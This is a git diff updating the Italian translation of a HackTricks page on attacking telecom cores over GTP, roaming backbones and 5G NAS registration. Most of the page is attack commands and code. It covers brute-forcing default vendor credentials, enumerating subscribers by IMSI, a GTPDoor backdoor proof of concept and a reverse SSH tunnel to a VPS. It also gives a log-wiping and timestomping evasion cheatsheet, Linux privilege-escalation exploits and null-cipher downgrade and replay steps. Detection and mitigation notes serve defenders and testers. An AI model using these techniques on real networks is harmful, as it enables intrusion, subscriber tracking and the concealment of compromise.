mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
parent
308e81fc7a
commit
53b10dd3da
@ -1,27 +1,27 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
# Sfruttamento delle Reti Telecom (GTP / Ambienti di Roaming)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-fidati. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, **qualsiasi punto d'accesso all'interno di un perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core**. Le seguenti note raccolgono trucchi offensivi osservati sul campo contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
|
||||
> I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-affidabili. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, **qualsiasi accesso all'interno del perimetro telecom può solitamente raggiungere direttamente i piani di signalling core**. Le note seguenti raccolgono trucchi offensivi osservati in natura contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
## 1. Ricognizione e Accesso Iniziale
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
Un insieme sorprendentemente ampio di elementi di rete dei fornitori viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una lista di parole dedicata aumenta drasticamente il successo del brute-force:
|
||||
### 1.1 Account OSS / NE di default
|
||||
Un numero sorprendentemente elevato di elementi di rete dei vendor viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Se il dispositivo espone solo un VRF di gestione, pivotare prima attraverso un jump host (vedere la sezione «SGSN Emu Tunnel» qui sotto).
|
||||
Se il dispositivo espone solo una management VRF, effettua prima il pivot tramite un jump host (vedi sezione «SGSN Emu Tunnel» qui sotto).
|
||||
|
||||
### 1.2 Scoperta degli Host all'interno di GRX/IPX
|
||||
La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combinare `masscan` con le sonde UDP `gtpv1` integrate per mappare rapidamente i listener GTP-C:
|
||||
### 1.2 Rilevamento degli host all'interno di GRX/IPX
|
||||
La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le sonde UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumerazione degli Abbonati – `cordscan`
|
||||
## 2. Enumerating Subscribers – `cordscan`
|
||||
|
||||
Il seguente strumento Go crea pacchetti di **Richiesta di Creazione del Contesto PDP GTP-C** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogato e, a volte, il PLMN visitato dall'abbonato.
|
||||
Il seguente strumento Go crea pacchetti **GTP-C Create PDP Context Request** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogata e, talvolta, il PLMN visitato dall'abbonato.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Flag principali:
|
||||
Opzioni principali:
|
||||
- `--imsi` IMSI dell'abbonato target
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Scrivi pacchetti grezzi in pcap
|
||||
- `-w` Scrive pacchetti raw in un file pcap
|
||||
|
||||
Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni:
|
||||
Costanti importanti all'interno del binario possono essere modificate per ampliare le scansioni:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Esecuzione di Codice su GTP – `GTPDoor`
|
||||
## 3. Esecuzione di codice su GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` è un piccolo servizio ELF che **lega UDP 2123 e analizza ogni pacchetto GTP-C in arrivo**. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. L'output stdout/stderr viene estratto all'interno dei messaggi **Echo Response** in modo che non venga mai creata una sessione esterna.
|
||||
`GTPDoor` è un piccolo servizio ELF che **binds UDP 2123 and parses every incoming GTP-C packet**. Quando il payload inizia con un tag pre-condiviso, il resto viene decriptato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno di messaggi **Echo Response** in modo che non venga mai creata una sessione esterna.
|
||||
|
||||
Pacchetto PoC minimo (Python):
|
||||
```python
|
||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Rilevamento:
|
||||
* qualsiasi host che invia **Richieste Echo sbilanciate** agli IP SGSN
|
||||
* flag di versione GTP impostato su 1 mentre il tipo di messaggio = 1 (Echo) – deviazione dalle specifiche
|
||||
* qualsiasi host che invii **unbalanced Echo Requests** agli IP SGSN
|
||||
* flag versione GTP impostato a 1 mentre message type = 1 (Echo) – deviazione dalla specifica
|
||||
|
||||
## 4. Pivoting Through the Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un contesto PDP verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal peer in roaming.
|
||||
`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un PDP context verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Con un corretto hair-pinning del firewall, questo tunnel bypassa i VLAN solo per il segnale e ti porta direttamente nel **data plane**.
|
||||
Con un corretto firewall hair-pinning, questo tunnel aggira le signalling-only VLANs e ti porta direttamente nel **data plane**.
|
||||
|
||||
### 4.2 Tunnel SSH Reverse sulla Porta 53
|
||||
Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno al tuo VPS in ascolto su :53 e tornare più tardi da casa:
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS è quasi sempre aperto nelle infrastrutture roaming. Esporre un servizio SSH interno sul tuo VPS in ascolto su :53 e riconnettersi più tardi da casa:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Controlla che `GatewayPorts yes` sia abilitato sul VPS.
|
||||
Verifica che `GatewayPorts yes` sia abilitato sul VPS.
|
||||
|
||||
## 5. Canali Clandestini
|
||||
## 5. Canali nascosti
|
||||
|
||||
| Canale | Trasporto | Decodifica | Note |
|
||||
|--------|-----------|------------|------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | chiave di 4 byte + chunk di 14 byte (XOR) | ascoltatore puramente passivo, nessun traffico in uscita |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (chiave = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sottodominio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE privato | si mescola con il legittimo scambio GTP-C |
|
||||
|--------|-----------|-----------|------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener passivo puro, nessun traffico in uscita |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sotto-dominio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | si mimetizza nel traffico GTP legittimo |
|
||||
|
||||
Tutti gli impianti implementano watchdog che **timestomp** i loro binari e si riavviano se si bloccano.
|
||||
Tutti gli implants implementano watchdogs che **timestomp** i loro binari e re-spawnano in caso di crash.
|
||||
|
||||
## 6. Scheda di Evasione della Difesa
|
||||
## 6. Cheatsheet per Defense Evasion
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Escalazione dei privilegi su NE legacy
|
||||
## 7. Privilege Escalation su Legacy NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -111,30 +111,137 @@ python3 PwnKit.py
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Suggerimento per la pulizia:
|
||||
Suggerimento per il clean-up:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Strumenti
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – strumenti personalizzati descritti nelle sezioni precedenti.
|
||||
* `FScan` : scansioni TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS WPAD malevolo
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – tooling personalizzati descritti nelle sezioni precedenti.
|
||||
* `FScan` : scansioni TCP della intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : pivoting SOCKS5 leggero
|
||||
* `FRP` (≥0.37) : attraversamento NAT / bridging delle risorse
|
||||
* `FRP` (≥0.37) : attraversamento NAT / bridging di asset
|
||||
|
||||
## 9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade a EEA0/EIA0, e NAS replay
|
||||
|
||||
La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la security NAS non viene attivata da Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security abilita molteplici vettori di attacco quando è possibile osservare o manomettere il traffico N2 (es. on-path all'interno del core, rogue gNB, o testbed).
|
||||
|
||||
Flusso di registrazione (semplificato):
|
||||
- Registration Request: l'UE invia SUCI (SUPI cifrato) e capabilities.
|
||||
- Authentication: AMF/AUSF inviano RAND/AUTN; l'UE restituisce RES*.
|
||||
- Security Mode Command/Complete: vengono negoziati e attivati integrità e cifratura NAS.
|
||||
- PDU Session Establishment: configurazione IP/QoS.
|
||||
|
||||
Consigli per il laboratorio (non-RF):
|
||||
- Core: il deployment di default di Open5GS è sufficiente per riprodurre i flussi.
|
||||
- UE: simulatore o UE di test; decodificare con Wireshark.
|
||||
- Tool attivi: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Filtri utili in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Privacy degli identificatori: SUCI failures che espongono SUPI/IMSI
|
||||
Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato.
|
||||
|
||||
Come testare:
|
||||
- Catturare il primo messaggio NAS in InitialUEMessage e ispezionare il Mobile Identity IE.
|
||||
- Controlli rapidi in Wireshark:
|
||||
- Dovrebbe decodificare come SUCI, non come IMSI.
|
||||
- Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe esistere; l'assenza insieme alla presenza di `imsi` indica esposizione.
|
||||
|
||||
Cosa raccogliere:
|
||||
- MCC/MNC/MSIN se esposti; registrare per UE e tracciare nel tempo/luoghi.
|
||||
|
||||
Mitigazione:
|
||||
- Forzare UE/USIM ad usare solo SUCI; generare allerta su qualsiasi IMSI/SUPI nel NAS iniziale.
|
||||
|
||||
### 9.2 Riduzione delle capability verso algoritmi nulli (EEA0/EIA0)
|
||||
Contesto:
|
||||
- L'UE dichiara gli EEA supportati (encryption) e gli EIA (integrity) nel UE Security Capability IE della Registration Request.
|
||||
- Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi nulli.
|
||||
|
||||
Problema:
|
||||
- Poiché la Registration Request non è protetta da integrità, un attaccante on-path può azzerare i bit di capability per costringere la selezione di EEA0/EIA0 successivamente durante il Security Mode Command. Alcuni stack consentono erroneamente algoritmi nulli anche al di fuori dei servizi di emergenza.
|
||||
|
||||
Passi offensivi:
|
||||
- Intercettare InitialUEMessage e modificare il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0.
|
||||
- Con Sni5Gect, agganciare il messaggio NAS e patchare i bit di capability prima di inoltrarlo.
|
||||
- Osservare se l'AMF accetta cifrature/integrità nulle e completa il Security Mode con EEA0/EIA0.
|
||||
|
||||
Verifica/visibilità:
|
||||
- In Wireshark, confermare gli algoritmi selezionati dopo Security Mode Command/Complete.
|
||||
- Esempio di output di uno sniffer passivo:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigazioni (obbligatorie):
|
||||
- Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente obbligatorio (es., chiamate di emergenza).
|
||||
- Preferire l'applicazione di EEA2/EIA2 come minimo; registrare e allertare su qualsiasi contesto di sicurezza NAS che negozia algoritmi null.
|
||||
|
||||
### 9.3 Replay della initial Registration Request (pre-security NAS)
|
||||
Poiché il NAS iniziale manca di integrità e freschezza, un InitialUEMessage+Registration Request catturato può essere riprodotto verso l'AMF.
|
||||
|
||||
Regola PoC per 5GReplay per inoltrare i replay corrispondenti:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
property_id="101"
|
||||
type_property="FORWARD"
|
||||
description="Forward InitialUEMessage with Registration Request">
|
||||
|
||||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="1"
|
||||
description="Trigger: InitialUEMessage"
|
||||
boolean_expression="ngap.procedure_code == 15"/>
|
||||
|
||||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="2"
|
||||
description="Context: Registration Request"
|
||||
boolean_expression="nas_5g.message_type == 65"/>
|
||||
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
Cosa osservare:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
|
||||
Mitigazioni:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: avviare un AMF/SMF/UPF per emulare il core; osservare N2 (NGAP) e NAS.
|
||||
- Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registration.
|
||||
- 5GReplay: catturare una registration, poi replay di specifici NGAP + NAS messages secondo la regola.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane per costringere null algorithms o perturbare authentication sequences.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Ispezionare continuamente le Registration Request per plaintext SUPI/IMSI; bloccare i dispositivi/USIMs offenders.
|
||||
- Rifiutare EEA0/EIA0 tranne che per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2.
|
||||
- Rilevare infrastrutture rogue o mal configurate: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Allertare su NAS security modes che risultano in null algorithms o frequenti replay di InitialUEMessage.
|
||||
|
||||
---
|
||||
## Idee di Rilevamento
|
||||
1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce richieste di creazione del contesto PDP**.
|
||||
2. **Porte non standard (53, 80, 443) che ricevono handshake SSH** da IP interni.
|
||||
3. **Richieste Echo frequenti senza corrispondenti Risposte Echo** – potrebbero indicare beacon GTPDoor.
|
||||
4. **Alta frequenza di traffico ICMP echo-reply con campi identificatore/sequence grandi e non nulli**.
|
||||
## Idee per la rilevazione
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Palo Alto Unit42 – Infiltrazione delle reti telecom globali](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – Protocollo di tunneling GPRS (v16.4.0)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user